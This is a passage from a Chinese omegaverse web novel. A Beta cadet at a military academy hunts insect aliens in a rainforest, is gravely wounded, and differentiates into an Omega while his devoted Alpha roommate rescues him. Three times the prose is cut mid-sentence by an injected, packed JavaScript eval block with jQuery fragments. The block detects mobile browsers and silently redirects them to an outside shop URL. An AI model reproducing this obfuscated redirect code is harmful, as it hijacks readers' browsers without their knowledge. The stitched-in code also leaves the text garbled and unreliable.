“天杀的还想要宿舍?上战场指望虫子给你搭宿舍吗?”教官如是吼道。
不仅没有宿舍,校方也不提供任何免费的生活物资,所有资源都需要“积分”兑换,包括食物、热水。
每个学员初始积分5点,归0后超过24小时没有积分入账,自动退出实战,且没有学分。
积分来自平时的训练。
比如活体射击,打中1个就是1分;
体能训练,达到某个标准(比如负重跑1500m180秒内),就能获得对应分数。
训练采取双人组队制,这是军部合作行动的最小团体单位。
参商本来偷偷以权谋私,把自己和好友安排到了一起。
没想到开训第一天,教官就来横插一脚,他的室友又变成孟逐星。
好友叫姚林,性格好,人品也不错。参商在换舍申请书里,就推荐校方选他当孟逐星的监护人。
姚林的私人物品不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182197|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多,收拾起来很快,他穿着裤衩子大大咧咧地蹲着收东西:“商,我之前就觉得孟逐星不对劲,他怎么能骚扰嫂子呢?要不我找人打他一顿吧?”
参商用穿着军靴的脚尖去踢他的腰,心烦:“少说两句。”
姚林摸着自己的腰,愤然道:“宝宝,你不爱听我也要说。孟逐星这小子凭什么跟你一个屋,我早就看他不顺眼了!”
话音刚落,面前帐篷骤然掀开,孟逐星抱着他的盆,居高临下地俯瞰着姚林。投下的阴影刚好把姚林整个人罩进去,实在是很有压迫感。
姚林尴尬地摸着自己的鼻子:“哟,这不是小孟吗。”
孟逐星表现出非比寻常的攻击性,他主动释放出自己的信息素,用于驱逐。
他在叫姚林快滚。
任何一个Alpha都不会容忍这样的挑衅,姚林不悦地想要反击,结果震惊地发现,他被压制了!
他,一个力比多开发高达百分之七十四的Alpha,居然会被压得喘不过气?!
(注:力比多为精神分析学派的理论概念,在文内指Alpha精神+身体的综合潜力,依托信息素进行判断。力比多系数越高越强。Omega也存在力比多,只是没有得到重视。)
这合理吗?孟逐星是怪物吧!
姚林开始呼吸不畅,一张脸憋得通红。
参商闻不到信息素,但不妨碍他察觉到这两人的交锋。
他开口,像家长斥责自己不懂事的孩子那样:“孟逐星。”
孟逐星收敛气息,低头,重新变得温顺:“嗯。”
姚林蹙眉,一脸凝重和深思地走了。
参商开口:“对了,这帐篷也是用积分兑的。我和姚林各自花了4点。你把积分转我,我明天转给他。”
“噢。”
孟逐星走过来,用自己的手表碰了碰参商的表。
手表也是学校发的,用处是交易积分、定位和监测生理状况。一个高科技狗牌。
参商看着表盘上积分+10的提醒:“给多了,4分,不是10分。”
他琢磨着自己发言挺标准,孟逐星不该分不清四和十才对。
结果孟逐星回复:“多的你拿着。”
参商不解。
孟逐星翻过学校的校规。
参商要竞选首席,或者说,想保住他现在的职位,需要确保每年总绩点不被其他人超过。
这次夏令营的表现会在绩点评定中占据一半的分数比例。
普通学员的学分也和这次夏令营挂钩。
但孟逐星不需要积分,他是军部特推生。他甚至有军衔,比周围人高一大截。这是他多次在前线出生入死换回来的。
孟逐星唯一的目标是融入集体,顺利毕业。
对他来说,积分没什么用,只要留一点每天吃饭洗澡就够了。
但孟逐星不知道怎么表达自己的想法,这么长的句子,以他现在的语言能力,想完整说出来还是太困难了。
孟逐星盯着参商的脸,慢慢憋红脸:“给你。”
参商微微眯起眼,像在思考什么。
但最后,他一句话也没说。
考虑到两人一组,学校准备的帐篷也只有单人间和双人间,都不大,内外分帐。
雨林不冷,这个帐篷的好处主要是防雨防虫,还能有一定的私人空间。用睡袋的指不定晚上还要被路过的狼舔一口脸。
参商把潮湿的衣服挂在帐篷上晾好。
他有些爱洁,作战服每天都要被汗打湿,不洗不行。
没骟过的猪腥味很重;没骟过的Alpha也一样。
好在孟逐星跟着他一年多,也染上爱干净的好毛病。清洁度比同期军校生好得多,天天洗澡,没有异味。
洗漱完毕,参商钻进睡袋。
隔了会,孟逐星也钻进自己的睡袋,在参商身侧入睡了。
睡袋几乎隔离了参商的气息,但依然有丝丝缕缕的药味溢出来。
孟逐星咕蛹着朝参商的方向靠,近了一点,再近一点。
对孟逐星来说,这是一个刚好能闻到味道,又不会浑身发热到难受的剂量。
他在这样安稳的气息中一夜好梦,连嘴角都是上扬的。
6. 第 6 章
6/七流
参商做了个怪梦。
梦里他是只梅花鹿,撅着蹄子在水池边饮水。
喝得正舒服,风里传来捕猎者的气味。警惕的小鹿撒开蹄子就跑,还没到百米,身后的狮子重重压在它身上。
被压住,狮子却没有咬断他的喉咙,而是顺着脖子开始舔他。
小梅花鹿被嗦成一条芒果核,发出“呦呦”的哀鸣。
舔到鹿尾巴向下一点的位置时,参商醒了。
天还没亮。孟逐星的脑袋靠在他枕头边上,乱糟糟的头发像是狮子的鬃毛。
参商被这堆蓬松且不柔软的头发挤得呼吸不畅,做噩梦理所应当。
参商面色阴沉地推开孟逐星。
这畜生睡得还挺香,一点要醒来的意思都没有。
他盯着那张脸,脸色变幻莫测,努力控制着心里骤然升起的磅礴怒火。
许久后,参商才转头,像认命般长叹一口气,重新闭上双眼。
算了,室友也是自己选的。
第二天半夜,参商又因同样的原因热醒。
这次梦到的是头横冲直撞的大野猪。
他终于没忍住,往孟逐星脸上甩了一巴掌,语气十分不耐烦:“滚出去睡。”
说完,他在半睡半醒间翻了个身。
孟逐星被莫名其妙打醒,竟然也没生气。
他真的抱着自己睡袋滚出去睡了。
醒来后,参商发现窝里没人,这才意识到原来自己半夜不是在做梦。
隔壁帐篷的校友笑着跟参商打招呼:“首席,昨晚半夜你们帐篷什么声音这么响?我还以为炮仗炸了。”
参商面无表情地在心里回答,打孟逐星的巴掌声。
参商有些过意不去,毕竟这一行为仿佛在坐实他霸凌孟逐星。
他站在洗漱槽边,孟逐星穿着黑色的背心,低着头在那漱口。肌肉线条明显,撑得背心鼓鼓的。
“孟逐星。”参商喊他。
孟逐星回头,茫然地,脸颊上还沾着牙膏的泡泡。
参商伸出一根手指,挑着他下巴左右观察片刻,发现看不出什么挨揍的痕迹。这才松手,十分优雅地开始接水。
他很快离开。旁边的位置被另一个陌生的同学顶上。
孟逐星身体僵硬地站在原地,在镜子里,看见自己通红的一张脸。
等到晚上,孟逐星不需要参商吩咐,自己抱着睡袋出去了。
参商看着他的背影,有些烦躁地揉了揉眉心,最后选择低头,继续看手里的文献。
隔了两天,孟逐星用自己攒的积分给参商买了张单人床,小心翼翼地询问:“你睡床上,我睡地上。可以不滚出去睡吗?”
以孟逐星的语言表达能力,这句话起码提前打了五分钟腹稿。
“……随你。”参商不太自在地回答。
不知不觉,参商和孟逐星合宿有一个月了。
孟逐星很沉默,不怎么说话,但干活异常殷勤。
每天拉练完,也不社交,就回窝打扫卫生。
明明是在雨林,他们的帐篷里却连泥点子都找不到。
有天参商洗完澡,发现自己换下来的脏衣服被孟逐星捡去洗了。
就连内衣也用肥皂搓洗干净,挂在晾衣绳上。
参商站在电插座旁吹头发:“……不用帮我洗衣服。”
孟逐星的眼珠子往他的方位侧了一下,又很快触电般挪开:“顺手。”
参商放弃了委婉的表达,坦言:“我不喜欢别人动我东西,以后不要这样了。”
营地里已经有了些流言,说孟逐星是参商的贴身野狗。
虽然是句调侃,但总归不太好听。
而且这种轻慢会引发一系列的问题。
军校的Alpha啊,太容易恃强凌弱。这个强和弱指的是人在集体中的地位。
好在,就参商观察,孟逐星对别人都爱搭不理,跟耳朵聋了一样,完全不像在他面前这样温顺。
他担心的集体霸凌没有发生。
孟逐星并不知道参商的考量,只是有些失落地低头:“……噢。”
第三十五天,青训营开始第一次实战演习。
教官手持教鞭:“你们已经在这里训练三十五天了,是时候检验成果了。看见背后的雨林了吗?所有人,等会搭乘直升机,自由选择降落地点!雨林里有我们准备好的大量成年体泰坦介虫!杀一只!得1分!限时24小时!记得在规定时间内返回,超过时间也要扣分,懂了吗?”
泰坦介虫,虫如其名,介虫泰坦属,身形巨大,成年体接近三米,六足,四翼。
参商听到有人小声庆祝:“太好了不是蠃虫!”
蠃虫外观就像几米长的蛆。是个人看了都想吐。
“这次,你们只能单人行动!不准组队,战场上需要合作,但训练场不需要!不准去蹭别人积分!也不准让人帮忙!”
不知道是有意还是无意,教官的视线朝着参商扫了眼。
参商在训练中远超常人的优秀表现,让他对Beta有了一些改观。
客观讲,参商是个人才。哪怕不上前线,在后方做做战术分析,也是很好的。
但是!教官对他依然非常不满。
教官不满的是孟逐星这条蠢狗,把积分都给了参商!——真是烂泥扶不上墙的东西,被勒索了不知道告状?!
还有训练期间,孟逐星肉眼可见的讨好和倒贴!我去,真是没眼看。Alpha的尊严呢?!狼性呢?
军部推荐生不需要积分毕业,但夏令营的表现分也是军部选拔人才的重要指标。
要是因为平均分太低,孟逐星毕业后只能分配到垃圾部队怎么办?
——当然,教官也不会知道,这些积分,参商其实都记在账上,准备等到结束前一天还回去。
参商想,要是假装不知道教官是在点他,那就太掩耳盗铃了。
所以,他向前迈出一步,站姿标准地像仪仗队:“报告教官,我有事汇报。”
教官面容严肃:“说!”
参商平视着前方:“这次演习,我会证明我是第一。”
偏见,一路走来他遇到过太多。
凭什么?
所有人都在等着他低头,服输。
他偏不。
教官像是第一天认识参商似的,来回打量他好几眼。眼神里甚至有点欣赏。
长得很带劲,性格也很有种。
可惜他的部队不收Beta。
教官出乎意料地没有生气:“很好,一等兵。我等着你的证明,归队!”
*
好几架大型直升机,载着军训的学生,开始在雨林上方进行空投。
参商看准目的地,从高空一跃而下。
他不打无准备的仗,每次训练都在研究地形。
早在一天前,参商就计算好了军部最有可能投放介虫的地点。
果然,刚降落,参商就发现虫子活动过的痕迹。
走出不到300米,参商和一只2米大的蟑螂迎面撞上。
泰坦介虫。
他毕竟还有些年轻气盛。表面再怎么温良恭俭让,心里也掺着一些火气。
参商破天荒地被心情影响准度,第一枚子弹偏离预定轨道。
没能一击命中,这只硕大丑陋的黑色蟑螂在地上翻滚着,发出烦人的嘶吼。
“啧。”参商弹舌,重新装弹。
他的手指灵活地翻动着,对器械的熟练让他甚至不需要低头。
闭眼,对齐,瞄准。
泰坦介虫振翅,在半空不断飞舞,并朝着参商逼近。
这些拉来当靶子的介虫都是战俘,军方会取下它们的毒腺,拔掉獠牙,锯掉锋利的镰足,以保证训练的安全。
因此,它们看起来凶悍,却很难对这些军校生造成什么伤害。
很显然,军部认为,比起恐惧与仇恨,这些军校生现在更需要的是信心。只有成功才会让他们继续追求卓越。
参商感受着迎面而来的风速,略微抬高手腕。
“砰”,两秒之后,特制的子弹正中介虫的脑干;绿色的血液喷溅着,像下起一场小雨。
泰坦介虫的脑干连接中枢神经,是它们的致命弱点,被击中后会立即丧失行动能力。
嗅到空气里带着植物草腥味的血液气息,参商脸上浮现出笑意。
并不柔和,是一种锋利的、意气风发的笑容。
是的,他非常享受狩猎。
参商别好枪,拔出腰侧的匕首,朝着介虫跌落的地方走去。他需要割下它的复眼,用于结算积分。
这只介虫仰躺在地上,六脚朝天。
“嗡、嗡嗡——”虫子发出一阵刺耳的蝉鸣。
参商猜,它是在释放信息素。
Alpha的信息素对这些虫子有攻击效果,反过来也一样。可惜他是Beta,闻不到。
参商蹲下,准备收割自己战利品。
但这时,他的耳边响起十分清楚的说话声。
[你好……]
这声音很空灵,像是直接从他的脑海内响起。
“谁?!”
参商骤然后退一步,悚然一惊。
在他的认知里,显然不包括“虫子能沟通”这一条。
虫族虽然具备一些动物性的智慧,占主导的却是本能——这几乎是所有人类的共识。
参商甚至不确定是它在说话,可下一秒,脑海内的声音再次响起。
[请放过……我的幼虫……它们……马上……]
“幼虫”这个词彻底打破参商的幻想。
甲虫的腹部蠕动着。
一条条乳白色幼虫蠕动着,从逐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186817|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渐流逝生命的母体内钻出。比起细小的蛆虫,它们更像是胖乎乎的蛇。
幼虫爬出来后,争先撕咬着母亲腹腔的血肉,供给的母体要死了,它们没有温情,争抢着最后一块血肉,作为活下去的保障。
恶心的虫子。
参商有点想吐,本以为早就遗忘的画面在他眼前闪回。
倒在地上的父亲。
还有啃噬着他腹部的羽虫。
亲父应该是被咬的很痛,他的眼睛死死望着参商,张开嘴,大口血迹涌出——
参商不记得他说的是“救我”还是“快走”。
虫族入侵的几天前,亲父还让他把手抵在自己肚子上,温柔地笑着。
他说,参商,以后你有妹妹了。妹妹叫参羽怎么样?宫商角徵羽。这是我第五个孩子。
亲父的长子是和另一个Alpha生的,后面两个都被那个家暴的畜生打到流产。
“另一个Alpha”,在参商亲生父亲都因星际种族战争遇难后,成为他的养父。
哦,他那个家暴的父亲,最后竟然又成了战争英雄,在这次战争中组织民兵奋勇抵抗。死后追封了少校衔。
他对家庭的过错仿佛因此一笔勾销,遇到的每个人都对参商说,你有个伟大的父亲。
参商觉得很割裂,还很可笑。
……
创伤被唤醒,参商几乎没有任何喘息的空间,“砰、砰、砰——”,连续的枪声响起,他很不理智地打空一整个弹匣。
打完后,参商还嫌不够,朝着虫群喷洒剧毒的粉剂。
这是学校以防万一,发给学生的强力杀虫剂,很贵,每人标配也才5g。
刚爬出来的十几只幼虫彻底丧失活性,以肉眼可见的速度变黑。
母虫重伤,早就无法动弹,它的声音显得很失望。
[明明你以后……也会……成为……]
[母亲。]
参商想,他是不是患上什么精神病?还是没睡好导致眼前出现了幻觉?
参商割下它的复眼,莫名的愤怒充斥他的胸腔。
这种无法发泄的怒意在孟逐星出现时,抵达一个顶峰。
“参商,”孟逐星穿着迷彩服,踩过一长串的湿漉漉的植物,从山坡的另一侧出现,“我听到,枪响。很多。你好吗?”
在飞机上,孟逐星是跟着参商跳的。刚落地,他就马不停蹄地过来找参商的位置。
参商面色很沉郁,他没有回答,而是蹙着眉快步往前走。
孟逐星亦步亦趋地踩着参商的脚印:“Beta,闻不到,信息素。我,帮你。”
参商觉得这句话很刺耳。
他停下脚步,转身,冷冷看着孟逐星。
参商很清楚,前线,尤其是需要直接上战场的前线,是不那么欢迎Beta的,很多连队甚至以“全A阵营”为荣。
原因之一就是——Beta闻不到信息素。
虫族也会散发特殊气味,和新人类的信息素很像,会暴露自己的身体状况,数量,位置等一系列信息。不过人虫有生殖隔离,无法互相催情。
在复杂情况下,Beta们无法靠本能读取空气中虫群的信息,这是战场上天然的劣势。
参商:“嗯,闻不到。然后呢?”
孟逐星莫名有些腿软:“……你要不要跟我一起?”
参商一步、两步,上前,逼近他,用枪托拍了拍孟逐星的脸:“教官怎么说的,我怎么跟教官说的,你没听见?”
论察言观色的天赋,孟逐星显然是负数。
他回答:“没事,我不告诉他。”
参商几乎要气笑了:“定位器是摆设?树上挂的监控摄像头也是摆设?”
孟逐星又开始露出那种神色——无助的小孩不知道如何平息家长的怒火。
参商把所有话都咽回去,调头就走。
不想再耽搁时间,没必要,反正回去就换宿舍了。
孟逐星还想跟上,参商在下一秒转身,一梭子弹毫不犹豫地打向他脚前方的空地。
子弹的位置如此精准,离孟逐星的鞋尖只差0.5厘米。近到弹壳都能弹到他身上。
孟逐星表情浮现明显的错愕。还有一点点的受伤。像蔫啦吧唧的菜叶子,菜市场里掉在地上没人捡的那种。
参商没有回头看他一眼:“别跟着我。”
烦死人了。
大脑发育不完全的野人。真把他当妈呢?
参商发现,自己不是讨厌孟逐星,他知道孟逐星没有主观恶意。
但参商讨厌被孟逐星无心之过激怒的自己。
也讨厌被孟逐星期待着。
孟逐星总是在道歉和受伤。
这让参商觉得自己是个很糟糕的人。
好在,子弹还是有点威慑力的。
这次孟逐星没有跟来。
7. 第 7 章
7/七流
孟逐星望着参商离开的背影,表情比狗都无助。
孟逐星很想说些什么挽留他。
可惜自己文化水平太低,除了“难受”两个字,竟然不知道要怎么表达心里这种酸酸痛痛的感受。
当一颗豆大的雨滴打在他脸上,孟逐星才如梦初醒般回过神。
参商早就走远了。
下雨了。
孟逐星抬头看着天空,厚重的云层遮天蔽日。
根据他的经验,这会是一场暴雨。大雨时,这里的危险程度直线上升。
因此,尽管参商说过不想他跟着,孟逐星在犹豫片刻后,依然选择了和参商相同的方向。
大不了再被打一顿呗。
他身体好,参商又打不死他。
*
Beta在战场上的生理劣势初见端倪。
其他Alpha同学都能通过“气味”去寻找猎物,而参商只能用眼睛、耳朵和仪器。
暴雨让躁动的猎物变得更加隐蔽。
八个小时过去了,参商看着自己收纳袋里的14对复眼,再次蹙眉。
这个成绩……不知道在全队水平如何,但参商觉得有点少。
他是年级首席。除了第一以外的结果,参商都无法接受。
一年半的时间,让大多数同学和老师认可了参商的能力。
然而反对的声音一直存在,还有许多看乐子的人。
——“Beta嘛,也就风光一两年,到后面Alpha开始用进化液了,Beta能有什么用?”
这样的风言风语,参商耳朵都听出茧子了。
他要强又耀眼,招来崇拜的同时也吸引着暗箭。
“诶,参商!”
熟悉的声音从蕨叶的另一侧传来。
姚林的语气充满惊喜:“真的是你啊!好巧,咱们跳伞地隔这么远都能遇到!真是天造地设的一对啊!”
参商无情道:“不要乱用成语。”
姚林的收获颇丰,一共猎到7只虫子。他觉得已经够了。
姚林打了个大大的哈欠:“商啊,这都凌晨了。咱们找个地方一起睡觉呗?”
一起安营扎寨不算合作狩猎。
雨林很危险,两个人抱团过夜,明显比一个人安全。
参商没好气地回答:“一天不睡死不了。”
他打算继续狩猎,用时间和意志力去弥补生理上的差距。
其实猎多少异种都行,学校并没有一个明确的数量要求。
但姚林了解参商的脾性。
参商是一个看起来霁月光风、淡泊宁静的top癌。
让他输,比让他死都要难受。
姚林:“那你加油啊老大。”
碍于规则,姚林不太好直接帮他,只是在擦肩而过时,朝着参商眨了眨眼,下垂的手偷偷指向某个方位。
*
孟逐星站在分岔路口。
两边的道路看起来一模一样,他跟丢了。
又是暴雨,又是晚上。参商又有意识地隐藏自己的行踪,他会跟丢很正常。
雨林里其实有教官们事先插上的路灯。
一路上,孟逐星看见不少受伤的同伴,被担架扛着离开靶场。
这让他越发担心参商。
参商,
性别Beta,无法第一时间察觉危险,很娇弱。
身高一米七八,身体没有强化过,很娇弱。
……至于格斗课上全A的战绩,孟逐星核桃大小的脑子下意识忽略了。
他是领地意识和保护欲都很重的那类Alpha。
孟逐星思考片刻,在手表的通讯栏里找到教官的电话。
教官大概是真的很希望孟逐星在毕业后加入第一军团。给的是私人卫星电话。
孟逐星拨通电话,对面的声音吊儿郎当地:“说。”
“教官。能告诉我参商的坐标吗?我找不到他。”
教官顿时兴致勃勃:“怎么?你想给他套麻袋打一顿?”
“不是,我……”
孟逐星没说完,教官翻了个白眼:“不是你问个锤子!你知道打这么一通电话多贵吗?你不会是个性倒错患者吧?!不能,滚。”
性倒错:联盟将一切不利于生育的恋爱关系都称为性倒错,包括AA、AB、OO。但考虑到联盟的军政体系,主要是指AB恋。
百年前,性倒错还会被视为精神疾病,拉去电疗。
孟逐星不会觉得自己藏得很好吧?!哪有Alpha拿那种眼神看Beta的?
电话被挂断了。
孟逐星摸了摸鼻子。
他蹲在地上,左右手各抓了一把土,仔细辨别着两边的气味。
空气里残留的味道非常淡,混着各种复杂的气息。但在一片混乱中,孟逐星依然捕捉到那股早就习惯的苦涩药味。
“这边……”孟逐星喃喃着,血红色的双眸像是能在夜里发光一样明亮。
他朝前走去。
*
降水没有带来任何清爽的凉意,雨林里热得像个大蒸笼。
参商刚结束一场战斗,呼吸略显急促。
他用手臂擦去下巴的血迹,清点着战利品。手里还握着匕首,上面沾着碎肉。
包里新增8双复眼,全都来自介虫。
姚林给他指的地方很不错,参商狩猎格外顺利。
当然,他也用了一些规则内允许的辅助手段,譬如生物检测仪器和进化液。要不然怎么在夜里看清猎物,还真是一个难题。
“进化液……”参商喃喃着,“效果还行。高强度作战一晚上,也没有觉得累。就是不知道副作用是什么。”
对Alpha来说,进化液是基因药;对Beta来说,进化液是一种有副作用的兴奋剂。
大概20岁时,Alpha的性状会彻底稳定。从大二开始,军校的Alpha会在校医院的辅助下,有纪律地使用进化液,并开始学习开机甲。
军队不欢迎Beta并非单纯的歧视,而是客观存在的生理差异。
Beta缺乏信息素,和机甲的契合度非常低……更别说操控了。
很多人并不看好参商的未来。
那又如何?参商不认命,除非命运把他彻底击垮。
参商还是第一次使用进化液,他查过很多资料,网上都说早用早适应,所以,他才在这次训练中带了一瓶。
还是养父给他悄悄寄过来的。
进化液的味道很恶心。黏稠,像什么嚼烂发臭的肉泥。
云层里传来炸裂般的雷声,黑夜被照亮一瞬,风中带来一股草木的腥味。
视线突然扭曲,参商捂住自己的胸口,激烈的心跳让他全身发热。
他决定先往回走。
这里太偏僻,人都看不到一个,已经在猎场的边缘。
不对劲……
燥热的感觉不断升腾着,从小腹的位置往四肢蹿。
参商的性.欲很寡淡。
很多Omega中学毕业,年满18就会选择不读书去配种,所以在中学时,学校就会对在校生进行生理教育。
上完课,班级群里各种“资料片”乱飞。体型男女男男女女都有,性别全是AxO。
同学们各个看的面红耳赤。
只有参商毫无反应,甚至觉得有点恶心。
但冷淡不代表他不知道男体在亢奋时,会有什么样的生理反应。
不仅是身体不对劲。
参商还听见一些轻微的沙沙声,混在雨打蕨叶的声音里。
他近乎本能地察觉到危险来临。
参商很有战斗天赋,尤其是在“直觉”上。体训课,就连向来苛刻的教官也啧啧称奇,怀疑他能提前预知未来。
参商忍受着身体的不适,计算着。
子弹……之前用了大半,补给包里还剩两梭子弹,30枚;一个手雷。以及8对散发着浓烈血腥味的虫族复眼。
如果再来一只泰坦介虫,足够应付。
参商在心底想着。
可惜这次出现的不是那些被军部阉割过的泰坦。
是一条臝(裸)虫。
一只宛如蜈蚣的硕大臝虫骤然钻出地表,足足四米高、半米宽。是臝虫里的沙虫属。
它全身遍布着黑红相间的条纹,一看就有剧毒;躯壳边缘是扭动的、宛如海葵般的步足。
很显然,臝虫并不在这次军训的清单上。
更何况还是这么硕大的一条。
怎么会有这玩意?参商来不及细想。
为赚取积分深入雨林的弊端在此时显现。
就算想求救,救援队也要小半天才能赶来。大雨还让定位变得模糊。
参商摁下求助键,但他清楚,现在唯一的生路是自救。
臝虫裂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190604|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开竖着的、锯齿般的口,重重朝着参商扑来。
这里地势复杂,周围都是植被和树根。参商惊险地避开,在黑暗中却被一旁的石子刮伤手背。血液汩汩流出,参商却没有心情擦拭。
臝虫扑倒在地上,宛如一起小范围的地震。血腥味的刺激使它更加狂乱。
它发出刺耳的鸣叫,像电子设备短路的噪音,半截身体再度拱起,复眼死死盯住参商的方位。
它的腰腹发力,在闪电劈下的瞬间弹射而出。
参商瞬间拔枪,对准臝虫的复眼。
他是盲狙的,没有用肉眼去瞄准,但优秀的战斗直觉依然救了他一命。
子弹命中虫子的双眼,臝虫嵌入上腹的灯泡眼炸开。
这对眼睛连接着“主脑”,臝虫靠着它驱使自己庞大的身体蠕动。
开枪后,参商根本没有时间躲闪。因此,那具僵硬的虫躯还是把他重重压住。
好恶心的触感。
冰冷、湿滑的虫子。
参商听见自己肋骨断裂的声音。
暴雨打在纠缠的两条生命的身上,一视同仁。一人一虫流出的血液正在迅速被雨水稀释。
不想被虫子吃掉。
参商眯起眼,抬手,把一直攒在手里的榴弹砸进这条虫的口中。
距离太近,榴弹近乎贴着参商爆开。他被气浪掀翻半米远,视线一片模糊。
意识即将陷入昏迷的前一刻,参商隐约听见,有人焦急地拨开层层叠叠的棕榈树叶,朝他扑来。
*
孟逐星全身血液都在逆流,手脚冰凉到近乎惶恐。
他在那瞬间甚至连嗅觉都短暂失灵,眼里只剩血色。
旁边有一只臝虫,手榴弹在它最脆弱的腹腔爆炸,这只虫子奄奄一息,数百条步足朝天蠕动着。偶尔抽搐一下。
孟逐星跪坐在参商身前,手颤抖着,从自己补给包里翻出药剂。不管什么一股脑地用了上去。
参商的肋下有一个恐怖的血洞,臝虫的刺足像一根钢针,狠狠扎在他的皮肉里。
尽管马上就要天亮,但雨林里并不安全,这里等不到救援。
孟逐星再次拨通教官的卫星电话。
“我说你小子——”
“战区有沙虫,有人受伤了。重伤、昏迷。肋骨断裂且伤口持续出血。告诉我最近补给点位置,立刻调派直升机,他需要立刻送医。”孟逐星第一次说话如此流畅。
教官神色大变,半躺着的姿势瞬间立起。
…………
孟逐星抱起参商,头也不回地朝着补给点的位置跑去。
他戴上护目镜,避免雨水影响视野。然而不争气的眼泪把镜片熏出一片雾气。
正常情况下,这段距离要走四十分钟。
孟逐星不到20分钟就到了。
他的喉咙因缺水而刺痛,却依然抵达的第一时间大喊:“校医呢?!医生——”
补给点的学生们愕然地看着他。
参商被孟逐星抱在怀里,人们看不清他的脸,但是……
“哪来的发情期的Omega?”有人问。
一些人好奇地上前,想看看是谁,是否需要帮助;但还有一些人,唯恐避之不及。发情的Omega很麻烦。
不是自己的omega,被诱导发情了更麻烦。
咚——
孟逐星听到了自己心脏重重沉下的声音。周围环境几乎变成黑白两色,黑压压的阴霾笼罩在他四周。
他浑身发冷。
因为过度紧张而被忽略的嗅觉,在这一刻骤然回笼。
孟逐星闻到一股熟悉的中药味,又苦又涩。
和之前有些差别,如今苦涩的气味下藏着淡淡的木质香,像烤过的檀木片。
过去,只有他能闻到的气味……现在所有人都能闻到了。
参商?
Omega?O装B混进军校,不是幻想小说中才会发生的剧情?
孟逐星反应很快。
他把外套盖在参商的脸上,死死抱着他,血红的眼睛环顾着那些要靠近的Alpha,近乎野兽般嘶吼:“滚!”
浓郁的Alpha信息素在瞬间几乎凝练成实物。像化学武器,攻击着每一个靠近的人。
孟逐星不知道参商为什么会分化成Omega,他的脑海里只有一个想法,那就是不能让别人看见参商的脸。
会毁了他。
8. 第 8 章
8/七流
参商是在校医院醒来的。
银河第一军校占地一颗卫星,校医院就是当地最好的医院。
空气里有一股淡淡的香气,很素雅。
随着参商苏醒,床头的提示灯开始无声地闪烁。
很快,门外传来脚步声。
参商坐起,第一感觉是虚弱。身体又酸又软,连手握成拳这样简单的动作有些困难。更奇怪的是,这里环境似乎好得有点过头?
浅粉色的墙面,绒布的。房间里到处都是柔软、毛茸茸的东西。布偶、地毯、靠枕。
整个病房只有一张床。这个病房甚至有间阳台,可以供他晒太阳。
校医院参商也来过几次,军校生,哪有不磕磕绊绊的?
情况紧张的时候,十几个Alpha和Beta挤同一间病房。床是铁的,墙皮是往下掉的,厕所是需要抢的。
运气不好,还会分到有血痕的床单和枕头……反正消毒过,有血迹也不代表不干净。
但就算是年级首席,他也是第一次住进这么好的病房。莫非是重症监护室?
不,参商很快否定了这个想法。没那么多仪器。他摸了摸自己的肋下,裹着绷带,但伤势好得差不多了。
很快,校医们鱼贯而入。
“参商,公民ID****,指挥系3781级,是吧?”领头的是位女Alpha,满头银丝,看上去很是德高望重。
参商点头。
医生看着他茫然的眼神,心情莫名复杂。
参商送来医院已经有3天了,直升机送来的。校长亲自指示。
并不是他有什么傲人背景,而是这起病例相当特殊。
参商是极其罕见的,在成年后分化成Omega的Beta。
罕见到联盟成立至今,有相似档案记录的也不到10起。
既不是当年检测失误,也没有超负荷的身体改造。参商就这样在众目睽睽之下分化成omega。
如果能找出原因,说不定能让更多Beta分化为Omega。这对联盟的“新人类计划”相当有利。
(*新人类计划:指在4000年的时间长度内,自然淘汰Beta,只剩AO两性的计划。)
医生们处理完参商的伤势,又给他注射抑制剂,压下他突如其来的发情期。
剩下这三天时间里,他们的工作就是采取参商的DNA样本和生活轨迹,反复检测。
首先,参商是基因相当优秀的Omega,和原生种omega一样纯净。
(注:原生种是指旧人类第一次分化出AO两性。由Omega及少量子宫退化不完全的女性Beta生育出的AO不算;祖上存在AO两性亲属的也不算。)
其次,参商和联盟匹配中心里的Alpha基因适配度有68%。这代表大约七成的Alpha都可以成为他的丈夫,远超12%的平均值。
但这或许不完全是一件好事。
这表示联盟有七成的Alpha可以成为他的丈夫,受他信息素影响。
看到结论时候,研究员嘴里四个字脱口而出:“人尽可夫?”
最后,他们进行多次研讨、分析、场外求助,终于找到参商二次分化的原因——
这是一起不能被公众知晓的事故。
直接原因是,参商和学校分配给他的舍友,匹配度高达99%。剩下的1%不是不匹配,而是学界还没有研究到这一步。
【一个Beta,因为和一个原生种Alpha基因匹配度太高,且长时间近距离接触,于是在成年后二次发育,被诱导分化为Omega.】
